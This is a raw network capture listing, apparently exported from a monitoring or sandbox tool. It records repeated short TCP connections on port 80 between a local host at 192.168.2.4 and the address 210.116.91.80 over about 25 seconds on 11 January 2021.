Jan 11, 2021 17:55:32.421650887 CET	80	49828	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:32.421794891 CET	49828	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:32.422034025 CET	49828	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:32.428615093 CET	49829	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:32.684603930 CET	80	49828	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:32.697470903 CET	80	49829	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:32.697617054 CET	49829	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:32.698961973 CET	49829	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:32.968071938 CET	80	49829	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:32.968254089 CET	49829	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:32.968524933 CET	49829	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:32.974188089 CET	49830	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:33.237174034 CET	80	49829	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:33.237236023 CET	80	49830	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:33.237701893 CET	49830	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:33.239017010 CET	49830	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:33.502808094 CET	80	49830	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:33.505142927 CET	49830	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:33.505189896 CET	49830	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:33.621778011 CET	49831	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:33.768245935 CET	80	49830	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:33.883436918 CET	80	49831	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:33.883569956 CET	49831	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:33.884963036 CET	49831	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:34.146928072 CET	80	49831	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:34.147186041 CET	49831	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:34.147263050 CET	49831	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:34.152157068 CET	49832	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:34.408248901 CET	80	49831	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:34.412342072 CET	80	49832	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:34.412596941 CET	49832	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:34.413079977 CET	49832	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:34.673830032 CET	80	49832	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:34.674117088 CET	49832	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:34.674196005 CET	49832	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:34.679092884 CET	49833	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:34.934371948 CET	80	49832	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:34.951106071 CET	80	49833	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:34.952344894 CET	49833	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:34.952838898 CET	49833	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:35.225420952 CET	80	49833	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:35.225646973 CET	49833	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:35.225796938 CET	49833	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:35.341042042 CET	49834	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:35.574760914 CET	80	49833	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:35.604696035 CET	80	49834	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:35.604825020 CET	49834	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:35.605334044 CET	49834	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:35.869436979 CET	80	49834	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:35.869550943 CET	49834	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:35.869671106 CET	49834	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:35.872803926 CET	49835	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:36.132889986 CET	80	49834	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:36.132968903 CET	80	49835	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:36.133182049 CET	49835	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:36.134080887 CET	49835	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:36.395581007 CET	80	49835	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:36.397023916 CET	49835	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:36.397160053 CET	49835	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:36.401016951 CET	49836	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:36.657239914 CET	80	49835	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:36.663042068 CET	80	49836	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:36.665313005 CET	49836	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:36.665828943 CET	49836	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:36.928248882 CET	80	49836	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:36.929294109 CET	49836	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:36.929415941 CET	49836	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:37.045641899 CET	49837	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:37.191214085 CET	80	49836	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:37.308732986 CET	80	49837	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:37.309031010 CET	49837	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:37.310312033 CET	49837	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:37.573709965 CET	80	49837	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:37.573846102 CET	49837	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:37.573967934 CET	49837	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:37.577106953 CET	49838	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:37.836532116 CET	80	49837	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:37.849237919 CET	80	49838	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:37.849529982 CET	49838	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:37.850020885 CET	49838	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:38.122589111 CET	80	49838	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:38.122783899 CET	49838	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:38.122987986 CET	49838	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:38.126389980 CET	49839	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:38.392607927 CET	80	49839	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:38.392723083 CET	49839	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:38.393255949 CET	49839	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:38.396466970 CET	80	49838	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:38.658394098 CET	80	49839	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:38.658526897 CET	49839	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:38.663451910 CET	49839	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:38.783876896 CET	49840	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:38.931197882 CET	80	49839	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:39.046485901 CET	80	49840	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:39.047636986 CET	49840	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:39.049812078 CET	49840	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:39.309412956 CET	80	49840	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:39.309593916 CET	49840	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:39.309886932 CET	49840	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:39.317619085 CET	49841	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:39.568535089 CET	80	49840	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:39.577362061 CET	80	49841	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:39.577708960 CET	49841	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:39.579063892 CET	49841	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:39.839138985 CET	80	49841	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:39.839343071 CET	49841	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:39.839644909 CET	49841	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:39.846771955 CET	49842	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:40.098978996 CET	80	49841	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:40.107568026 CET	80	49842	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:40.107707977 CET	49842	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:40.108448029 CET	49842	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:40.369780064 CET	80	49842	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:40.370013952 CET	49842	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:40.370248079 CET	49842	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:40.486428022 CET	49845	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:40.630790949 CET	80	49842	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:40.745212078 CET	80	49845	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:40.745321989 CET	49845	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:40.754378080 CET	49845	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:41.013569117 CET	80	49845	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:41.013708115 CET	49845	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:41.014010906 CET	49845	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:41.021637917 CET	49846	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:41.273015976 CET	80	49845	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:41.293292046 CET	80	49846	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:41.293421030 CET	49846	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:41.293981075 CET	49846	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:41.566473007 CET	80	49846	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:41.566577911 CET	49846	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:41.566695929 CET	49846	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:41.573375940 CET	49847	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:41.837999105 CET	80	49846	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:41.841455936 CET	80	49847	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:41.841563940 CET	49847	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:41.845242977 CET	49847	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:42.114115953 CET	80	49847	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:42.114268064 CET	49847	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:42.114525080 CET	49847	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:42.238405943 CET	49848	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:42.382571936 CET	80	49847	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:42.498541117 CET	80	49848	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:42.498802900 CET	49848	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:42.500201941 CET	49848	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:42.760907888 CET	80	49848	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:42.761053085 CET	49848	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:42.761394024 CET	49848	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:42.769455910 CET	49849	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:43.021112919 CET	80	49848	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:43.032430887 CET	80	49849	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:43.032809973 CET	49849	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:43.033344984 CET	49849	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:43.296571016 CET	80	49849	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:43.296854019 CET	49849	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:43.297125101 CET	49849	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:43.304631948 CET	49850	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:43.559518099 CET	80	49849	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:43.564583063 CET	80	49850	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:43.565450907 CET	49850	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:43.566813946 CET	49850	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:43.826807022 CET	80	49850	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:43.826894045 CET	49850	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:43.827040911 CET	49850	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:43.936311960 CET	49851	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:44.086352110 CET	80	49850	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:44.199177027 CET	80	49851	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:44.199300051 CET	49851	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:44.199999094 CET	49851	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:44.463160992 CET	80	49851	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:44.463238955 CET	49851	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:44.463500977 CET	49851	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:44.469631910 CET	49852	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:44.725794077 CET	80	49851	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:44.729441881 CET	80	49852	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:44.729697943 CET	49852	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:44.730411053 CET	49852	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:44.990772009 CET	80	49852	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:44.991022110 CET	49852	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:44.991175890 CET	49852	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:44.996723890 CET	49853	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:45.250773907 CET	80	49852	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:45.257251978 CET	80	49853	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:45.257471085 CET	49853	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:45.259469986 CET	49853	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:45.522773027 CET	80	49853	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:45.523031950 CET	49853	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:45.523333073 CET	49853	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:45.644433022 CET	49854	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:45.783920050 CET	80	49853	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:45.907670975 CET	80	49854	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:45.909279108 CET	49854	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:45.909315109 CET	49854	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:46.173079967 CET	80	49854	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:46.173358917 CET	49854	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:46.173387051 CET	49854	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:46.177891016 CET	49855	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:46.436315060 CET	80	49854	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:46.441545010 CET	80	49855	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:46.441802979 CET	49855	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:46.442652941 CET	49855	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:46.706830025 CET	80	49855	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:46.707000017 CET	49855	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:46.707089901 CET	49855	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:46.710877895 CET	49856	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:46.970396042 CET	80	49855	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:46.972152948 CET	80	49856	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:46.972254038 CET	49856	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:46.973223925 CET	49856	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:47.235138893 CET	80	49856	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:47.237176895 CET	49856	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:47.237313032 CET	49856	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:47.358846903 CET	49857	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:47.498244047 CET	80	49856	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:47.618851900 CET	80	49857	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:47.622323990 CET	49857	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:47.623301983 CET	49857	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:47.884114981 CET	80	49857	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:47.886301041 CET	49857	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:47.886459112 CET	49857	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:47.890538931 CET	49858	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:48.146280050 CET	80	49857	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:48.152108908 CET	80	49858	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:48.152209044 CET	49858	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:48.153604984 CET	49858	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:48.416039944 CET	80	49858	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:48.416168928 CET	49858	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:48.416484118 CET	49858	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:48.419768095 CET	49859	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:48.677737951 CET	80	49858	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:48.681345940 CET	80	49859	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:48.681472063 CET	49859	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:48.682172060 CET	49859	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:48.944469929 CET	80	49859	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:48.947083950 CET	49859	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:48.947458982 CET	49859	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:49.062166929 CET	49860	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:49.209487915 CET	80	49859	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:49.321368933 CET	80	49860	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:49.321583986 CET	49860	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:49.322773933 CET	49860	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:49.582149029 CET	80	49860	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:49.582273006 CET	49860	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:49.582433939 CET	49860	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:49.586963892 CET	49861	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:49.842816114 CET	80	49860	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:49.850203991 CET	80	49861	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:49.850297928 CET	49861	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:49.851074934 CET	49861	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:50.115175962 CET	80	49861	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:50.115272999 CET	49861	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:50.115413904 CET	49861	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:50.142178059 CET	49864	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:50.378385067 CET	80	49861	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:50.401346922 CET	80	49864	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:50.401823044 CET	49864	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:50.402518034 CET	49864	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:50.662182093 CET	80	49864	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:50.662410021 CET	49864	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:50.662565947 CET	49864	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:50.779431105 CET	49866	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:50.921406031 CET	80	49864	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:51.045588970 CET	80	49866	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:51.046693087 CET	49866	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:51.047215939 CET	49866	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:51.313611031 CET	80	49866	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:51.313767910 CET	49866	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:51.313944101 CET	49866	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:51.317042112 CET	49867	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:51.579536915 CET	80	49866	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:51.580530882 CET	80	49867	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:51.580760002 CET	49867	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:51.581322908 CET	49867	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:51.847165108 CET	80	49867	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:51.847311020 CET	49867	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:51.847434998 CET	49867	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:51.852812052 CET	49868	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:52.110733032 CET	80	49867	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:52.113563061 CET	80	49868	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:52.114042044 CET	49868	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:52.114242077 CET	49868	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:52.375633955 CET	80	49868	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:52.375730038 CET	49868	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:52.377332926 CET	49868	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:52.482727051 CET	49869	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:52.637859106 CET	80	49868	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:52.750591993 CET	80	49869	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:52.755506039 CET	49869	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:52.756196976 CET	49869	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:53.025325060 CET	80	49869	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:53.025634050 CET	49869	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:53.025897980 CET	49869	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:53.029375076 CET	49875	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:53.290903091 CET	80	49875	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:53.291014910 CET	49875	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:53.292113066 CET	49875	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:53.293271065 CET	80	49869	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:53.554802895 CET	80	49875	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:53.554913998 CET	49875	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:53.555062056 CET	49875	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:53.559313059 CET	49876	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:53.817409992 CET	80	49875	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:53.822448015 CET	80	49876	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:53.822623968 CET	49876	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:53.823312044 CET	49876	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:54.087682962 CET	80	49876	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:54.087874889 CET	49876	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:54.088342905 CET	49876	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:54.203191042 CET	49877	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:54.350549936 CET	80	49876	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:54.461226940 CET	80	49877	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:54.461347103 CET	49877	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:54.462141037 CET	49877	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:54.720748901 CET	80	49877	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:54.720978975 CET	49877	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:54.721013069 CET	49877	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:54.724231958 CET	49878	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:54.978816986 CET	80	49877	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:54.987998009 CET	80	49878	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:54.989403963 CET	49878	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:54.989450932 CET	49878	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:55.253542900 CET	80	49878	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:55.253803968 CET	49878	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:55.254053116 CET	49878	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:55.261866093 CET	49879	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:55.517446041 CET	80	49878	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:55.523053885 CET	80	49879	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:55.525118113 CET	49879	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:55.525911093 CET	49879	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:55.787642002 CET	80	49879	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:55.787745953 CET	49879	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:55.787988901 CET	49879	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:55.905627012 CET	49880	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:56.049066067 CET	80	49879	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:56.168629885 CET	80	49880	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:56.169364929 CET	49880	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:56.170101881 CET	49880	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:56.433552980 CET	80	49880	210.116.91.80	192.168.2.4
Jan 11, 2021 17:55:56.433877945 CET	49880	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:56.434037924 CET	49880	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:55:56.438601017 CET	49881	80	192.168.2.4	210.116.91.80
